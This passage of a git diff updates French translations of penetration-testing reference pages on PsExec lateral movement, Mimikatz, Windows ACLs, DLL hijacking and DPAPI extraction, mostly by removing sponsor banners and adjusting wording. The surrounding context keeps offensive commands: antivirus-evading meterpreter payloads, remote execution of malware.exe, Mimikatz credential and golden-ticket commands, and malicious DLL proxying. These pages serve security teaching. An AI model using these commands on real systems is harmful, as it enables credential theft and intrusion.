**arrêté, et le binaire est supprimé**. ### **Processus d'exécution manuelle de PsExec** -En supposant qu'il existe un payload exécutable (créé avec msfvenom et obfusqué à l'aide de Veil pour échapper à la détection antivirus), nommé 'met8888.exe', représentant un payload meterpreter reverse_http, les étapes suivantes sont suivies : +En supposant qu'il y ait un payload exécutable (créé avec msfvenom et obfusqué à l'aide de Veil pour échapper à la détection antivirus), nommé 'met8888.exe', représentant un payload meterpreter reverse_http, les étapes suivantes sont suivies : - **Copie du binaire** : L'exécutable est copié sur le partage ADMIN$ depuis une invite de commande, bien qu'il puisse être placé n'importe où sur le système de fichiers pour rester dissimulé. @@ -42,11 +35,4 @@ Vous pouvez également utiliser [**SharpLateral**](https://github.com/mertdas/Sh ``` SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe.exe malware.exe ServiceName ``` -
- -Utilisez [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) pour créer et **automatiser des flux de travail** facilement grâce aux **outils communautaires les plus avancés** au monde.\ -Obtenez l'accès aujourd'hui : - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/stealing-credentials/credentials-mimikatz.md b/src/windows-hardening/stealing-credentials/credentials-mimikatz.md index fd01f611e..03f2dcf5c 100644 --- a/src/windows-hardening/stealing-credentials/credentials-mimikatz.md +++ b/src/windows-hardening/stealing-credentials/credentials-mimikatz.md @@ -2,21 +2,15 @@ {{#include ../../banners/hacktricks-training.md}} -
- -Approfondissez votre expertise en **Mobile Security** avec 8kSec Academy. Maîtrisez la sécurité iOS et Android grâce à nos cours à votre rythme et obtenez une certification : - -{% embed url="https://academy.8ksec.io/" %} - **Cette page est basée sur une de [adsecurity.org](https://adsecurity.org/?page_id=1821)**. Consultez l'original pour plus d'infos ! ## LM et mots de passe en clair en mémoire Depuis Windows 8.1 et Windows Server 2012 R2, des mesures significatives ont été mises en œuvre pour protéger contre le vol de credentials : -- **Les hachages LM et les mots de passe en clair** ne sont plus stockés en mémoire pour améliorer la sécurité. Un paramètre de registre spécifique, _HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest "UseLogonCredential"_ doit être configuré avec une valeur DWORD de `0` pour désactiver l'authentification Digest, garantissant que les mots de passe "en clair" ne sont pas mis en cache dans LSASS. +- **Les hachages LM et les mots de passe en clair** ne sont plus stockés en mémoire pour améliorer la sécurité. Un paramètre de registre spécifique, _HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest "UseLogonCredential"_, doit être configuré avec une valeur DWORD de `0` pour désactiver l'authentification Digest, garantissant que les mots de passe "en clair" ne sont pas mis en cache dans LSASS. -- **La protection LSA** est introduite pour protéger le processus de l'Autorité de Sécurité Locale (LSA) contre la lecture non autorisée de la mémoire et l'injection de code. Cela est réalisé en marquant LSASS comme un processus protégé. L'activation de la protection LSA implique : +- **La protection LSA** est introduite pour protéger le processus de l'Autorité de Sécurité Locale (LSA) contre la lecture non autorisée de la mémoire et l'injection de code. Cela est réalisé en marquant le LSASS comme un processus protégé. L'activation de la protection LSA implique : 1. Modifier le registre à _HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa_ en définissant `RunAsPPL` à `dword:00000001`. 2. Mettre en œuvre un objet de stratégie de groupe (GPO) qui impose ce changement de registre sur les appareils gérés. @@ -191,7 +185,7 @@ mimikatz "kerberos::golden /domain:child.example.com /sid:S-1-5-21-123456789-123 ### Services Terminal -- **TS::MultiRDP** : Autoriser plusieurs sessions RDP. +- **TS::MultiRDP** : Permettre plusieurs sessions RDP. - `mimikatz "ts::multirdp" exit` @@ -200,13 +194,8 @@ mimikatz "kerberos::golden /domain:child.example.com /sid:S-1-5-21-123456789-123 ### Coffre-fort -- Extraire des mots de passe du Coffre-fort Windows. +- Extraire des mots de passe du Windows Vault. - `mimikatz "vault::cred /patch" exit` -
- -Approfondissez votre expertise en **Sécurité Mobile** avec 8kSec Academy. Maîtrisez la sécurité iOS et Android grâce à nos cours à votre rythme et obtenez une certification : - -{% embed url="https://academy.8ksec.io/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md b/src/windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md index 50a06626f..9070f940f 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md +++ b/src/windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md @@ -1,46 +1,38 @@ # ACLs - DACLs/SACLs/ACEs -
- -\ -Utilisez [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=acls-dacls-sacls-aces) pour créer et **automatiser des flux de travail** facilement grâce aux **outils communautaires les plus avancés** au monde.\ -Obtenez l'accès aujourd'hui : - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=acls-dacls-sacls-aces" %} - {{#include ../../banners/hacktricks-training.md}} ## **Liste de Contrôle d'Accès (ACL)** -Une Liste de Contrôle d'Accès (ACL) se compose d'un ensemble ordonné d'Entrées de Contrôle d'Accès (ACE) qui dictent les protections pour un objet et ses propriétés. En essence, une ACL définit quelles actions par quels principaux de sécurité (utilisateurs ou groupes) sont autorisées ou refusées sur un objet donné. +Une Liste de Contrôle d'Accès (ACL) se compose d'un ensemble ordonné d'Entrées de Contrôle d'Accès (ACEs) qui dictent les protections pour un objet et ses propriétés. En essence, une ACL définit quelles actions par quels principaux de sécurité (utilisateurs ou groupes) sont autorisées ou refusées sur un objet donné. Il existe deux types d'ACL : - **Liste de Contrôle d'Accès Discrétionnaire (DACL) :** Spécifie quels utilisateurs et groupes ont ou n'ont pas accès à un objet. - **Liste de Contrôle d'Accès Système (SACL) :** Régit l'audit des tentatives d'accès à un objet. -Le processus d'accès à un fichier implique que le système vérifie le descripteur de sécurité de l'objet par rapport au jeton d'accès de l'utilisateur pour déterminer si l'accès doit être accordé et l'étendue de cet accès, basé sur les ACE. +Le processus d'accès à un fichier implique que le système vérifie le descripteur de sécurité de l'objet par rapport au jeton d'accès de l'utilisateur pour déterminer si l'accès doit être accordé et l'étendue de cet accès, basé sur les ACEs. ### **Composants Clés** -- **DACL :** Contient des ACE qui accordent ou refusent des permissions d'accès aux utilisateurs et groupes pour un objet. C'est essentiellement la principale ACL qui dicte les droits d'accès. -- **SACL :** Utilisé pour auditer l'accès aux objets, où les ACE définissent les types d'accès à enregistrer dans le Journal des Événements de Sécurité. Cela peut être inestimable pour détecter des tentatives d'accès non autorisées ou résoudre des problèmes d'accès. +- **DACL :** Contient des ACEs qui accordent ou refusent des permissions d'accès aux utilisateurs et groupes pour un objet. C'est essentiellement la principale ACL qui dicte les droits d'accès. +- **SACL :** Utilisé pour auditer l'accès aux objets, où les ACEs définissent les types d'accès à enregistrer dans le Journal des Événements de Sécurité. Cela peut être inestimable pour détecter des tentatives d'accès non autorisées ou résoudre des problèmes d'accès. -### **Interaction du Système avec les ACL** +### **Interaction du Système avec les ACLs** -Chaque session utilisateur est associée à un jeton d'accès qui contient des informations de sécurité pertinentes pour cette session, y compris les identités d'utilisateur, de groupe et les privilèges. Ce jeton inclut également un SID de connexion qui identifie de manière unique la session. +Chaque session utilisateur est associée à un jeton d'accès qui contient des informations de sécurité pertinentes pour cette session, y compris les identités d'utilisateur et de groupe, ainsi que les privilèges. Ce jeton inclut également un SID de connexion qui identifie de manière unique la session. -L'Autorité de Sécurité Locale (LSASS) traite les demandes d'accès aux objets en examinant la DACL pour des ACE qui correspondent au principal de sécurité tentant d'accéder. L'accès est immédiatement accordé si aucune ACE pertinente n'est trouvée. Sinon, LSASS compare les ACE avec le SID du principal de sécurité dans le jeton d'accès pour déterminer l'éligibilité à l'accès. +L'Autorité de Sécurité Locale (LSASS) traite les demandes d'accès aux objets en examinant la DACL pour les ACEs qui correspondent au principal de sécurité tentant d'accéder. L'accès est immédiatement accordé si aucune ACE pertinente n'est trouvée. Sinon, LSASS compare les ACEs avec le SID du principal de sécurité dans le jeton d'accès pour déterminer l'éligibilité à l'accès. ### **Processus Résumé** -- **ACLs :** Définissent les permissions d'accès via des DACL et des règles d'audit via des SACL. +- **ACLs :** Définissent les permissions d'accès via les DACLs et les règles d'audit via les SACLs. - **Jeton d'Accès :** Contient des informations sur l'utilisateur, le groupe et les privilèges pour une session. -- **Décision d'Accès :** Prise en comparant les ACE de la DACL avec le jeton d'accès ; les SACL sont utilisées pour l'audit. +- **Décision d'Accès :** Prise en comparant les ACEs de la DACL avec le jeton d'accès ; les SACLs sont utilisés pour l'audit. ### ACEs -Il existe **trois principaux types d'Entrées de Contrôle d'Accès (ACEs)** : +Il existe **trois types principaux d'Entrées de Contrôle d'Accès (ACEs)** : - **ACE d'Accès Refusé :** Cette ACE refuse explicitement l'accès à un objet pour des utilisateurs ou groupes spécifiés (dans une DACL). - **ACE d'Accès Autorisé :** Cette ACE accorde explicitement l'accès à un objet pour des utilisateurs ou groupes spécifiés (dans une DACL). @@ -57,16 +49,16 @@ La détermination de l'accès est effectuée en examinant séquentiellement chaq - Une **ACE d'Accès Refusé** refuse explicitement les droits demandés à un fiduciaire identifié dans le jeton d'accès. - Des **ACE(s) d'Accès Autorisé** accordent explicitement tous les droits demandés à un fiduciaire dans le jeton d'accès. -- Après avoir vérifié toutes les ACE, si un droit demandé n'a **pas été explicitement autorisé**, l'accès est implicitement **refusé**. +- Après avoir vérifié toutes les ACEs, si un droit demandé n'a **pas été explicitement autorisé**, l'accès est implicitement **refusé**. ### Ordre des ACEs -La façon dont les **ACEs** (règles qui disent qui peut ou ne peut pas accéder à quelque chose) sont mises dans une liste appelée **DACL** est très importante. Cela est dû au fait qu'une fois que le système accorde ou refuse l'accès basé sur ces règles, il cesse de regarder le reste. +La façon dont les **ACEs** (règles qui disent qui peut ou ne peut pas accéder à quelque chose) sont mises dans une liste appelée **DACL** est très importante. En effet, une fois que le système accorde ou refuse l'accès en fonction de ces règles, il cesse de regarder le reste. -Il existe une meilleure façon d'organiser ces ACE, et cela s'appelle **"ordre canonique."** Cette méthode aide à s'assurer que tout fonctionne de manière fluide et équitable. Voici comment cela se passe pour des systèmes comme **Windows 2000** et **Windows Server 2003** : +Il existe une meilleure façon d'organiser ces ACEs, et cela s'appelle **"ordre canonique."** Cette méthode aide à s'assurer que tout fonctionne de manière fluide et équitable. Voici comment cela se passe pour des systèmes comme **Windows 2000** et **Windows Server 2003** : - D'abord, mettez toutes les règles qui sont faites **spécifiquement pour cet élément** avant celles qui viennent d'ailleurs, comme un dossier parent. -- Dans ces règles spécifiques, mettez celles qui disent **"non" (refuser)** avant celles qui disent **"oui" (autoriser)**. +- Dans ces règles spécifiques, placez celles qui disent **"non" (refuser)** avant celles qui disent **"oui" (autoriser)**. - Pour les règles qui viennent d'ailleurs, commencez par celles de la **source la plus proche**, comme le parent, puis revenez en arrière. Encore une fois, mettez **"non"** avant **"oui."** Cette configuration aide de deux grandes manières : @@ -78,21 +70,13 @@ En procédant de cette manière, le propriétaire d'un fichier ou d'un dossier p ![](https://www.ntfs.com/images/screenshots/ACEs.gif) -Ainsi, cet **"ordre canonique"** vise à garantir que les règles d'accès sont claires et fonctionnent bien, en plaçant les règles spécifiques en premier et en organisant tout de manière intelligente. - -
- -\ -Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour créer et **automatiser des flux de travail** facilement grâce aux **outils communautaires les plus avancés** au monde.\ -Obtenez l'accès aujourd'hui : - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +Ainsi, cet **"ordre canonique"** vise à garantir que les règles d'accès sont claires et fonctionnent bien, en plaçant les règles spécifiques en premier et en organisant le tout de manière intelligente. ### Exemple GUI [**Exemple d'ici**](https://secureidentity.se/acl-dacl-sacl-and-the-ace/) -Voici l'onglet de sécurité classique d'un dossier montrant l'ACL, DACL et ACEs : +Voici l'onglet de sécurité classique d'un dossier montrant l'ACL, la DACL et les ACEs : ![http://secureidentity.se/wp-content/uploads/2014/04/classicsectab.jpg](../../images/classicsectab.jpg) @@ -110,11 +94,11 @@ Et enfin, nous avons le SACL dans l'onglet d'Audit : ### Expliquer le Contrôle d'Accès de Manière Simplifiée -Lors de la gestion de l'accès aux ressources, comme un dossier, nous utilisons des listes et des règles connues sous le nom de Listes de Contrôle d'Accès (ACL) et d'Entrées de Contrôle d'Accès (ACE). Celles-ci définissent qui peut ou ne peut pas accéder à certaines données. +Lors de la gestion de l'accès aux ressources, comme un dossier, nous utilisons des listes et des règles connues sous le nom de Listes de Contrôle d'Accès (ACLs) et d'Entrées de Contrôle d'Accès (ACEs). Celles-ci définissent qui peut ou ne peut pas accéder à certaines données. #### Refuser l'Accès à un Groupe Spécifique -Imaginez que vous avez un dossier nommé Coût, et que vous souhaitez que tout le monde y accède sauf l'équipe marketing. En configurant correctement les règles, nous pouvons nous assurer que l'équipe marketing se voit explicitement refuser l'accès avant d'autoriser tout le monde d'autre. Cela se fait en plaçant la règle de refus d'accès à l'équipe marketing avant la règle qui autorise l'accès à tout le monde. +Imaginez que vous avez un dossier nommé Coût, et que vous voulez que tout le monde y accède sauf l'équipe marketing. En configurant correctement les règles, nous pouvons nous assurer que l'équipe marketing se voit explicitement refuser l'accès avant d'autoriser tout le monde d'autre. Cela se fait en plaçant la règle de refus d'accès à l'équipe marketing avant la règle qui autorise l'accès à tout le monde. #### Autoriser l'Accès à un Membre Spécifique d'un Groupe Refusé @@ -122,7 +106,7 @@ Disons que Bob, le directeur marketing, a besoin d'accéder au dossier Coût, m #### Comprendre les Entrées de Contrôle d'Accès -Les ACE sont les règles individuelles dans une ACL. Elles identifient les utilisateurs ou groupes, spécifient quel accès est autorisé ou refusé, et déterminent comment ces règles s'appliquent aux sous-éléments (héritage). Il existe deux principaux types d'ACEs : +Les ACEs sont les règles individuelles dans une ACL. Elles identifient les utilisateurs ou groupes, spécifient quel accès est autorisé ou refusé, et déterminent comment ces règles s'appliquent aux sous-éléments (héritage). Il existe deux types principaux d'ACEs : - **ACEs Génériques :** Celles-ci s'appliquent largement, affectant soit tous les types d'objets, soit ne distinguant qu'entre les conteneurs (comme les dossiers) et les non-conteneurs (comme les fichiers). Par exemple, une règle qui permet aux utilisateurs de voir le contenu d'un dossier mais pas d'accéder aux fichiers à l'intérieur. - **ACEs Spécifiques à l'Objet :** Celles-ci fournissent un contrôle plus précis, permettant de définir des règles pour des types d'objets spécifiques ou même des propriétés individuelles au sein d'un objet. Par exemple, dans un annuaire d'utilisateurs, une règle pourrait permettre à un utilisateur de mettre à jour son numéro de téléphone mais pas ses heures de connexion. @@ -131,10 +115,10 @@ Chaque ACE contient des informations importantes comme à qui la règle s'appliq #### Différences Clés Entre les Types d'ACE -- **ACEs Génériques** sont adaptées pour des scénarios de contrôle d'accès simples, où la même règle s'applique à tous les aspects d'un objet ou à tous les objets au sein d'un conteneur. +- **ACEs Génériques** conviennent aux scénarios de contrôle d'accès simples, où la même règle s'applique à tous les aspects d'un objet ou à tous les objets au sein d'un conteneur. - **ACEs Spécifiques à l'Objet** sont utilisées pour des scénarios plus complexes, en particulier dans des environnements comme Active Directory, où vous pourriez avoir besoin de contrôler l'accès à des propriétés spécifiques d'un objet différemment. -En résumé, les ACL et les ACE aident à définir des contrôles d'accès précis, garantissant que seules les bonnes personnes ou groupes ont accès à des informations ou ressources sensibles, avec la capacité d'adapter les droits d'accès jusqu'au niveau des propriétés individuelles ou des types d'objets. +En résumé, les ACLs et les ACEs aident à définir des contrôles d'accès précis, garantissant que seules les bonnes personnes ou groupes ont accès à des informations ou ressources sensibles, avec la capacité d'adapter les droits d'accès jusqu'au niveau des propriétés individuelles ou des types d'objets. ### Disposition des Entrées de Contrôle d'Accès @@ -154,7 +138,7 @@ En résumé, les ACL et les ACE aident à définir des contrôles d'accès préc | 16 - 22 | Droits d'Accès Standards | Supprimer, Écrire ACL, Écrire Propriétaire | | 23 | Peut accéder à l'ACL de sécurité | | | 24 - 27 | Réservé | | -| 28 | Générique TOUT (Lire, Écrire, Exécuter) | Tout en dessous | +| 28 | Générique TOUT (Lire, Écrire, Exécuter) | Tout ce qui est en dessous | | 29 | Générique Exécuter | Toutes les choses nécessaires pour exécuter un programme | | 30 | Générique Écrire | Toutes les choses nécessaires pour écrire dans un fichier | | 31 | Générique Lire | Toutes les choses nécessaires pour lire un fichier | @@ -163,14 +147,6 @@ En résumé, les ACL et les ACE aident à définir des contrôles d'accès préc - [https://www.ntfs.com/ntfs-permissions-acl-use.htm](https://www.ntfs.com/ntfs-permissions-acl-use.htm) - [https://secureidentity.se/acl-dacl-sacl-and-the-ace/](https://secureidentity.se/acl-dacl-sacl-and-the-ace/) -- [https://www.coopware.in2.info/_ntfsacl_ht.htm](https://www.coopware.in2.info/_ntfsacl_ht.htm) +- [https://www.coopware.in2.info/\_ntfsacl_ht.htm](https://www.coopware.in2.info/_ntfsacl_ht.htm) {{#include ../../banners/hacktricks-training.md}} - -
- -\ -Utilisez [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=acls-dacls-sacls-aces) pour créer et **automatiser des flux de travail** facilement grâce aux **outils communautaires les plus avancés** au monde.\ -Obtenez l'accès aujourd'hui : - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=acls-dacls-sacls-aces" %} diff --git a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking.md b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking.md index ed8dbac97..5595d37ff 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking.md +++ b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking.md @@ -2,11 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -
-**Bug bounty tip**: **inscrivez-vous** sur **Intigriti**, une plateforme de **bug bounty premium créée par des hackers, pour des hackers** ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $** ! - -{% embed url="https://go.intigriti.com/hacktricks" %} ## Basic Information @@ -19,7 +15,7 @@ Plusieurs méthodes sont employées pour le DLL hijacking, chacune ayant son eff 1. **DLL Replacement** : Échanger un DLL authentique avec un malveillant, en utilisant éventuellement le DLL Proxying pour préserver la fonctionnalité du DLL original. 2. **DLL Search Order Hijacking** : Placer le DLL malveillant dans un chemin de recherche avant le légitime, exploitant le modèle de recherche de l'application. 3. **Phantom DLL Hijacking** : Créer un DLL malveillant pour qu'une application le charge, pensant qu'il s'agit d'un DLL requis non existant. -4. **DLL Redirection** : Modifier les paramètres de recherche comme `%PATH%` ou les fichiers `.exe.manifest` / `.exe.local` pour diriger l'application vers le DLL malveillant. +4. **DLL Redirection** : Modifier des paramètres de recherche comme `%PATH%` ou des fichiers `.exe.manifest` / `.exe.local` pour diriger l'application vers le DLL malveillant. 5. **WinSxS DLL Replacement** : Substituer le DLL légitime par un équivalent malveillant dans le répertoire WinSxS, une méthode souvent associée au side-loading de DLL. 6. **Relative Path DLL Hijacking** : Placer le DLL malveillant dans un répertoire contrôlé par l'utilisateur avec l'application copiée, ressemblant aux techniques d'exécution de proxy binaire. @@ -46,7 +42,7 @@ Pour escalader les privilèges, la meilleure chance que nous avons est de pouvoi **Dans la** [**documentation Microsoft**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **vous pouvez trouver comment les DLL sont chargées spécifiquement.** -Les **applications Windows** recherchent des DLL en suivant un ensemble de **chemins de recherche prédéfinis**, respectant une séquence particulière. Le problème du DLL hijacking se pose lorsqu'un DLL nuisible est stratégiquement placé dans l'un de ces répertoires, garantissant qu'il soit chargé avant le DLL authentique. Une solution pour prévenir cela est de s'assurer que l'application utilise des chemins absolus lorsqu'elle fait référence aux DLL dont elle a besoin. +**Les applications Windows** recherchent des DLL en suivant un ensemble de **chemins de recherche prédéfinis**, respectant une séquence particulière. Le problème du DLL hijacking se pose lorsqu'un DLL nuisible est stratégiquement placé dans l'un de ces répertoires, garantissant qu'il soit chargé avant le DLL authentique. Une solution pour prévenir cela est de s'assurer que l'application utilise des chemins absolus lorsqu'elle fait référence aux DLL dont elle a besoin. Vous pouvez voir l'**ordre de recherche des DLL sur les systèmes 32 bits** ci-dessous : @@ -57,7 +53,7 @@ Vous pouvez voir l'**ordre de recherche des DLL sur les systèmes 32 bits** ci-d 5. Le répertoire courant. 6. Les répertoires qui sont listés dans la variable d'environnement PATH. Notez que cela n'inclut pas le chemin par application spécifié par la clé de registre **App Paths**. La clé **App Paths** n'est pas utilisée lors du calcul du chemin de recherche des DLL. -C'est l'**ordre de recherche par défaut** avec **SafeDllSearchMode** activé. Lorsqu'il est désactivé, le répertoire courant passe au deuxième rang. Pour désactiver cette fonctionnalité, créez la valeur de registre **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** et définissez-la sur 0 (par défaut, elle est activée). +C'est l'**ordre de recherche par défaut avec** **SafeDllSearchMode** activé. Lorsqu'il est désactivé, le répertoire courant passe au deuxième rang. Pour désactiver cette fonctionnalité, créez la valeur de registre **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** et définissez-la sur 0 (par défaut, elle est activée). Si la fonction [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) est appelée avec **LOAD_WITH_ALTERED_SEARCH_PATH**, la recherche commence dans le répertoire du module exécutable que **LoadLibraryEx** charge. @@ -69,19 +65,19 @@ Il existe d'autres moyens de modifier l'ordre de recherche, mais je ne vais pas Certaines exceptions à l'ordre de recherche standard des DLL sont notées dans la documentation Windows : -- Lorsqu'un **DLL qui partage son nom avec un déjà chargé en mémoire** est rencontré, le système contourne la recherche habituelle. Au lieu de cela, il effectue une vérification de redirection et un manifeste avant de se rabattre sur le DLL déjà en mémoire. **Dans ce scénario, le système ne procède pas à une recherche pour le DLL**. +- Lorsqu'un **DLL qui partage son nom avec un déjà chargé en mémoire** est rencontré, le système contourne la recherche habituelle. Au lieu de cela, il effectue une vérification de redirection et un manifeste avant de se rabattre sur le DLL déjà en mémoire. **Dans ce scénario, le système ne procède pas à une recherche du DLL**. - Dans les cas où le DLL est reconnu comme un **DLL connu** pour la version actuelle de Windows, le système utilisera sa version du DLL connu, ainsi que toutes ses DLL dépendantes, **en omettant le processus de recherche**. La clé de registre **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** contient une liste de ces DLL connues. - Si un **DLL a des dépendances**, la recherche de ces DLL dépendantes est effectuée comme si elles étaient indiquées uniquement par leurs **noms de module**, peu importe si le DLL initial a été identifié par un chemin complet. ### Escalating Privileges -**Exigences** : +**Requirements** : - Identifier un processus qui fonctionne ou fonctionnera sous **différents privilèges** (mouvement horizontal ou latéral), qui **manque d'un DLL**. -- Assurez-vous qu'un **accès en écriture** est disponible pour tout **répertoire** dans lequel le **DLL** sera **recherché**. Cet emplacement pourrait être le répertoire de l'exécutable ou un répertoire dans le chemin système. +- S'assurer qu'un **accès en écriture** est disponible pour tout **répertoire** dans lequel le **DLL** sera **recherché**. Cet emplacement pourrait être le répertoire de l'exécutable ou un répertoire dans le chemin système. Oui, les exigences sont compliquées à trouver car **par défaut, il est un peu étrange de trouver un exécutable privilégié manquant d'un dll** et c'est encore **plus étrange d'avoir des permissions d'écriture sur un dossier de chemin système** (vous ne pouvez pas par défaut). Mais, dans des environnements mal configurés, cela est possible.\ -Dans le cas où vous avez de la chance et que vous répondez aux exigences, vous pourriez vérifier le projet [UACME](https://github.com/hfiref0x/UACME). Même si le **principal objectif du projet est de contourner UAC**, vous pourriez y trouver un **PoC** d'un Dll hijacking pour la version de Windows que vous pouvez utiliser (probablement juste en changeant le chemin du dossier où vous avez des permissions d'écriture). +Dans le cas où vous avez de la chance et que vous répondez aux exigences, vous pourriez vérifier le projet [UACME](https://github.com/hfiref0x/UACME). Même si le **but principal du projet est de contourner UAC**, vous pourriez y trouver un **PoC** d'un Dll hijacking pour la version de Windows que vous pouvez utiliser (probablement juste en changeant le chemin du dossier où vous avez des permissions d'écriture). Notez que vous pouvez **vérifier vos permissions dans un dossier** en faisant : ```bash @@ -115,7 +111,7 @@ De plus, dans la **section suivante**, vous pouvez trouver quelques **codes dll ## **Création et compilation de Dlls** -### **Proxy Dll** +### **Dll Proxifying** Fondamentalement, un **proxy Dll** est un Dll capable d'**exécuter votre code malveillant lorsqu'il est chargé** mais aussi d'**exposer** et de **fonctionner** comme **prévu** en **relayant tous les appels à la véritable bibliothèque**. @@ -223,10 +219,6 @@ return TRUE; - [https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e](https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e) - [https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html](https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html) -
-**Astuce bug bounty** : **inscrivez-vous** sur **Intigriti**, une plateforme de **bug bounty premium créée par des hackers, pour des hackers** ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $** ! - -{% embed url="https://go.intigriti.com/hacktricks" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md b/src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md index fe5fa1cab..8358a921d 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md +++ b/src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md @@ -2,22 +2,18 @@ {{#include ../../banners/hacktricks-training.md}} -
-​​[**RootedCON**](https://www.rootedcon.com/) est l'événement de cybersécurité le plus pertinent en **Espagne** et l'un des plus importants en **Europe**. Avec **la mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline. - -{% embed url="https://www.rootedcon.com/" %} ## Qu'est-ce que DPAPI -L'API de protection des données (DPAPI) est principalement utilisée au sein du système d'exploitation Windows pour le **chiffrement symétrique des clés privées asymétriques**, s'appuyant soit sur des secrets utilisateur, soit sur des secrets système comme source significative d'entropie. Cette approche simplifie le chiffrement pour les développeurs en leur permettant de chiffrer des données à l'aide d'une clé dérivée des secrets de connexion de l'utilisateur ou, pour le chiffrement système, des secrets d'authentification de domaine du système, évitant ainsi aux développeurs de gérer eux-mêmes la protection de la clé de chiffrement. +L'API de protection des données (DPAPI) est principalement utilisée dans le système d'exploitation Windows pour le **chiffrement symétrique des clés privées asymétriques**, en s'appuyant sur des secrets d'utilisateur ou de système comme source significative d'entropie. Cette approche simplifie le chiffrement pour les développeurs en leur permettant de chiffrer des données à l'aide d'une clé dérivée des secrets de connexion de l'utilisateur ou, pour le chiffrement système, des secrets d'authentification de domaine du système, éliminant ainsi le besoin pour les développeurs de gérer eux-mêmes la protection de la clé de chiffrement. ### Données protégées par DPAPI Parmi les données personnelles protégées par DPAPI, on trouve : - Les mots de passe et les données de saisie automatique d'Internet Explorer et de Google Chrome -- Les mots de passe des comptes e-mail et FTP internes pour des applications comme Outlook et Windows Mail +- Les mots de passe des comptes de messagerie et de FTP internes pour des applications comme Outlook et Windows Mail - Les mots de passe pour les dossiers partagés, les ressources, les réseaux sans fil et Windows Vault, y compris les clés de chiffrement - Les mots de passe pour les connexions de bureau à distance, .NET Passport et les clés privées pour divers usages de chiffrement et d'authentification - Les mots de passe réseau gérés par le Gestionnaire d'identifiants et les données personnelles dans des applications utilisant CryptProtectData, telles que Skype, MSN messenger, et plus encore @@ -55,7 +51,7 @@ dpapi::cred /in:C:\path\to\encrypted\file /masterkey: ``` ## Clés maîtresses -Les clés DPAPI utilisées pour chiffrer les clés RSA de l'utilisateur sont stockées dans le répertoire `%APPDATA%\Microsoft\Protect\{SID}`, où {SID} est le [**Identifiant de sécurité**](https://en.wikipedia.org/wiki/Security_Identifier) **de cet utilisateur**. **La clé DPAPI est stockée dans le même fichier que la clé maîtresse qui protège les clés privées des utilisateurs**. Elle est généralement constituée de 64 octets de données aléatoires. (Remarque : ce répertoire est protégé, donc vous ne pouvez pas le lister en utilisant `dir` depuis le cmd, mais vous pouvez le lister depuis PS). +Les clés DPAPI utilisées pour chiffrer les clés RSA de l'utilisateur sont stockées dans le répertoire `%APPDATA%\Microsoft\Protect\{SID}`, où {SID} est le [**Security Identifier**](https://en.wikipedia.org/wiki/Security_Identifier) **de cet utilisateur**. **La clé DPAPI est stockée dans le même fichier que la clé maîtresse qui protège les clés privées des utilisateurs**. Elle est généralement constituée de 64 octets de données aléatoires. (Remarque : ce répertoire est protégé, donc vous ne pouvez pas le lister en utilisant `dir` depuis le cmd, mais vous pouvez le lister depuis PS). ```bash Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\ Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect @@ -68,7 +64,7 @@ Voici à quoi ressemble un ensemble de Master Keys d'un utilisateur : ![](<../../images/image (1121).png>) -En général, **chaque master key est une clé symétrique chiffrée qui peut déchiffrer d'autres contenus**. Par conséquent, **extraire** la **Master Key chiffrée** est 